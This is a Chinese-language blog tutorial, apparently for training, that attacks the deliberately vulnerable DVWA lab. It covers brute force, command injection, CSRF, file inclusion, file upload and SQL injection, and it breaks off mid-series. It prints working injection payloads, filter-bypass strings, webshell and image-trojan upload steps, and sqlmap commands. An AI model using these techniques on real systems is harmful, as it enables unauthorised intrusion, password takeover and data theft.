发布于2022年11月4日3年前 DVWA是一款基于PHP和mysql开发的web靶场练习平台,集成了常见的web漏洞如sql注入,xss,密码破解等常见漏洞。本教程将以DVWA为例,演示常见的web漏洞的利用和攻击。下载安装点击下面的连接开始下载,并配置config.inc.php文件。$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'dvwa'; $_DVWA[ 'db_password' ] = '123456';更改为你的数据库账号信息。登录创建数据库访问http://127.0.0.1输入账号和密码均为admin点击Create / Reset Database创建数据库,当数据库创建完成后,会自动登出,用户名:admin密码:password重新登录。配置完成后的界面这样dvwa的安装和配置就完成了。在dvwa security选项中,可以调整dvwa的难易程度,Brute Force(low)Brute Force即为暴力破解,通过枚举获取管理员的账号和密码,在实际的操作中,一般用来破解后台管理系统的登录。准备user.txt pass.txt(用户字典和密码字典)神器burp在burp中抓包打开浏览器,在该模块任意输入账号和密码,在burp中抓包。抓到包后,右键send ro intruder在intruder的positions选择中,先点击clear$清除所有的变量。然后分别给username和password这两个字段后面的内容添加add$并将attack type的值设置为cluster bomb在payloads选择中分别给payload 1和payload 2设置字典路劲。然后点击上方的start attack如上,开始枚举破解。通过length的长度判决即可。通过上面的破解,我们发现length的长度存在不一样,大的为破解成功的账号和密码。Brute Force(medium)中等等级的暴力破解和低等级的相同,只是低等级的暴力破解可以进行sql注入,而中等级的把其中的字符串给过滤掉了,但是操作相同。需要注意的是中级的暴力破解相对来说较慢是因为有个sleep函数,在破解失败后会使程序停止运行两秒。Brute Force(higt)高等级的暴力破解和低等级、中等等级的暴力破解不相同,它增加了一个user_token参数,所以增加了爆破难度,但是依然可以破解通过和low的对比,多了一个token参数。将抓到的包发送到intrude,选择攻击模式为pitchfock,并且给要破解的项带上美元符号在options选项中,找到grep-extact找到Redirections模块设置允许重定向,选择always设置密码本,点击payload,选择第一项的密码本与低等级的相同,第二项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中。破解效果命令注入 Command Injection命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者 命令)的一种注入攻击手段。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。命令连接符command1 && command2 &&表示先执行command1,执行成功后执行command 2,否则不执行command 2command1 & command2$表示先执行command 1,不管是否成功,都会执行command 2command1 || command2||表示先执行command1,执行失败后,执行command2low我们先选输入一个ip地址,发现是对ip地址的ping功能解决乱码问题解决此问题的方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”,即可。利用192.168.0.1 && net userMedium级别服务端代码解读<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。漏洞利用127.0.0.1 & ipconfigHigh代码解读<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> 相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。漏洞利用黑名单看似过滤了所有的非法字符,但仔细观察到是把| (注意这里|后有一个空格)替换为空字符,于是 |成了“漏网之鱼”。127.0.0.1|dir跨站请求(csrf)CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。low级别我们先对其抓包也就是说,当我们访问http://127.0.0.1/vulnerabilities/csrf/?password_new=888888&password_conf=888888&Change=Change我们的密码就会改变,我们可以伪造这条链接,发送给受害者,在不知不觉中对方的密码就会被修改。MediumMedium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。漏洞利用过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.153.130)我们可以将攻击页面命名为192.168.153.130.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了higHigh级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击。File Inclusion(文件包含)File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。low我们先点击file1.php 效果如下:在bur中对其抓包读取任意文件测试,我们在D盘新建一个txt构造下面命令:读取d盘下的bbskali.txt文件http://192.168.123.129/vulnerabilities/fi/?page=D:\bbskali.txt访问远程文件http://192.168.123.129/vulnerabilities/fi/?page=http://192.168.123.129/22.php这样便完成了文件包含攻击。MediumMedium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。但是对相对路劲的限制没多大。http://192.168.123.129/vulnerabilities/fi/?page=hthttp://tp://192.168.123.129/22.php当然,上面的方法比较麻烦的话,我们可以尝试将url进行编码。这样便躲过了规则的限制。HighHigh级别的代码规定只能包含file开头的文件,看似安全,但依然可以利用file协议绕过防护策略。文件上传(File Upload)利用文件上传,我们可以上传我们的一句话木马,很方便的会获得系统shelllow我们建立一个php文件,浏览后直接上传成功。medium如果我们直接上传,会提示如下Your image was not uploaded. We can only accept JPEG or PNG images.可以看到,对上传的文件做出了要求,必须是jpg和png解决方法抓包修改文件类型即可如下,成功上传。还有一种方法就是将php的后缀改成jpg,然后在burp中将其重新改回php即可。high要求上传的文件类型必须为:”.jpg”、”.jpeg” 、”*.png”之一,同时限制了文件的长度。所以,一种简单的方法就是,合成图片木马。但是这种方法受到php环境的限制,有时不能成功解析php图片木马。最佳方案图片木马配合命令注入我们先做一个图片木马GIF98 <?php phpinfo(); ?>然后在命令注入模块中,执行下面命令127.0.0.1 & copy D:\phpstudy_pro\WWW\hackable\uploads\22.jpeg D:\phpstudy_pro\WWW\hackable\uploads\aa.php成功将图片转变为phpSQL Injectionlow首先我们对其进行抓包废话不说,神器sqlmap走一波sqlmap -u "http://192.168.123.129//vulnerabilities/sqli/?id=1&Submit=Submit" --dbs提示302跳转到了登录页面所以,我们要在命令中加入cookie保存会话的在线在burp抓到的包里面,我们复制PHPSESSID=ff4rv0j6rkgv9fnqlvfmhch8bh; security=low放到sqlmap即可。所以,最终的命令为:sqlmap -u "http://192.168.123.129//vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=ff4rv0j6rkgv9fnqlvfmhch8bh; security=low" --dbs成功爆出数据库其他的后续操作我这里就不在啰嗦了。medium同样的方法,还时对其抓包通过抓包和low的对比发现,由原来的get方式变成了post将抓到的包复制另存为bbskali.txt执行如下命令;sqlmap -r "/root/bbskali.txt" --dbs未完待续,好累?睡觉了!明天接着码字! 版权属于:逍遥子大表哥本文链接:https://blog.bbskali.cn/2051.html按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
创建帐户或登录后发表意见